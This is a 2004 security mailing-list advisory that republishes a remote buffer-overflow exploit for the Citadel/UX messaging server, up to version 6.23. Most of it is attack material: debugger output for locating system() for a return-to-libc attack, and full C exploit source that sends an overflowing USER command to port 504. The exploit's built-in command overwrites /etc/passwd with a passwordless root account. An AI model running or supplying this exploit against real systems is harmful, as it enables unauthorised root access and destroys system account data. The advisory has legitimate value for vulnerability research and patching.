

[EXPL] Citadel/UX Remote Buffer Overflow Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-08/0096.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/30/04

To: list@securiteam.com

Date: 30 Aug 2004 17:02:24 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Citadel/UX Remote Buffer Overflow Exploit

SUMMARY

In a previously featured article,

<<http://www.securiteam.com/unixfocus/5CP060ADPO.html>> Citadel/UX Remote Buffer Overflow Vulnerability, a remotely exploitable buffer overflow vulnerability in the USER command was reported. Listed below is a remote exploit that overwrites EIP.

DETAILS

Vulnerable Systems:

* Citadel/UX version 6.23 and prior

/*

Citadel/UX remote exploit

By nebunu: pppppppal at yahoo dot com

home.ro lamerz erased my nebunu@home.ro address for hosting exploits there..

Citadel/UX is a very well known client/server messaging for BBS which runs on port 504 by default.

It has been discovered that it suffers for a buffer overflow when USER is sent.

Securiteam: [EXPL] Citadel/UX Remote Buffer Overflow Exploit

The bug was discovered by CoKi, who wrote a PoC denial of service exploit.

I downloaded the source code and performed an audit. The vulnerable function lays in `user_ops.c` and it is called `getuser()`. The legal size of a user string is only 64 characters. When 97 characters are entered then EIP is overwritten and a DoS occurs.

The exploitation is not possible in the trivial way, because of the `tolower()` function that makes ineffective any shellcode or return address. But since I had nothing to do I decided to take a closer look..

```
root@nebunu local]# cd citadel
[root@nebunu citadel]# objdump -R ./citserver | grep system
08126abc R_386_JUMP_SLOT system
[root@nebunu citadel]#
```

So, the ret-to-libc technique is possible if the return address of `system()` and our command string escapes `tolower()`, and on many systems it does, like Slackware, FreeBSD and many others I haven't tested.

1) How to get `system()` address for a platform

The above is just an example on my Red Hat 9 distro. It won't work since the system address contains a 0x42 which is B.

```
[root@nebunu hack]# cat sys.c
```

```
#include <stdio.h>
main()
{
system();
}
```

```
[root@nebunu hack]# gcc sys.c -o sys
```

```
[root@nebunu hack]# gdb sys
```

```
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
```

```
Copyright 2003 Free Software Foundation, Inc.
```

```
GDB is free software, covered by the GNU General Public License, and you are
```

```
welcome to change it and/or distribute copies of it under certain conditions.
```

```
Type "show copying" to see the conditions.
```

```
There is absolutely no warranty for GDB. Type "show warranty" for details.
```

```
This GDB was configured as "i386-redhat-linux-gnu"...
```

```
(gdb) break main
```

```
Breakpoint 1 at 0x804832e
```

```
(gdb) r
```

```
Starting program: /root/hack/sys
```

Securiteam: [EXPL] Citadel/UX Remote Buffer Overflow Exploit

```
Breakpoint 1, 0x0804832e in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x4203f2c0 <system> // system
address here
(gdb) quit
The program is running. Exit anyway? (y or n) y
[root@nebunu hack]#
```

Oh,system() address and retaddr offset are supplied by hand,i refuse to provide automated tools for kiddies.

Greetings to : rebel,R4X,Bagabontu,DrBIOS,Aziz,sorbo,(we talked once or twice on #darkircop)

*/

```
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
```

/*

This works only if citadel server is run as root,use your imagination and add your own command which will provide you further acces. Be careful what chars you use for the command,since not all chars are parsable.

*/

```
#define COMMAND "echo h4ck3r::0:0:::/bin/bash >/etc/passwd;"
#define BUFFER 93
#define CITADEL_PORT 504
#define SYSADDR 0x4006be80 //for slack 9.1.0 only,change it
#define RETADDR 0xbffff000 //base for bruteforce,play with this proggie
and get the right offset
```

```
int main(int argc,char **argv)
{
int i,sock,t,len,n;
char overflow[500],system[8],ret[8];
char egg[500];
int *pt;
struct sockaddr_in addy;

if(argc!=3)
{
printf("\r\nCitadel/UX remote exploit by nebunu <pppppppal at yahoo dot
com>\r\nUsage: %s <target ip> <retaddr offset>\r\n",argv[0]);
```

Securiteam: [EXPL] Citadel/UX Remote Buffer Overflow Exploit

```
exit(-1);
}

if(strlen(COMMAND)>90)
{
printf("\r\nCommand string too large\r\n");
exit(-1);
}

/* Lets build the exploit payload */

memset(overflow,0,500);
memset(egg,0,500);
memset(ret,0,8);
memset(system,0,8);
for(i=0;i<(BUFFER-strlen(COMMAND));i++)
overflow[i]='/';
strcat(overflow,COMMAND);
pt=(int *)system;
for(i=0;i<4;i+=4)*pt++=SYSADDR;
strcat(overflow,system);
strcat(overflow,"HACK");
pt=(int *)ret;
for(i=0;i<4;i+=4)*pt++=(RETADDR+atoi(argv[2]));
strcat(overflow,ret);
strcpy(egg,"USER ");
strcat(egg,overflow);
strcat(egg,"\n");
/* And send it */

sock=socket(AF_INET,SOCK_STREAM,0);
if(sock==-1)
{
perror("socket()");
exit(-1);
}
addy.sin_family=AF_INET;
addy.sin_port=htons(CITADEL_PORT);
addy.sin_addr.s_addr=inet_addr(argv[1]);
t=connect(sock,(struct sockaddr *)&addy,sizeof(struct sockaddr_in));
if(t==-1)
{
perror("connect()");
exit(-1);
}
printf("\r\nConnected..OK\n");
printf("Sending exploit code..\n");
write(sock,egg,strlen(egg));
printf("Exploit sent! Now test if succesfull.\n");
}
```

Securiteam: [EXPL] Citadel/UX Remote Buffer Overflow Exploit

ADDITIONAL INFORMATION

The information has been provided by <mailto:pppppppal@yahoo.com> haker haker.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.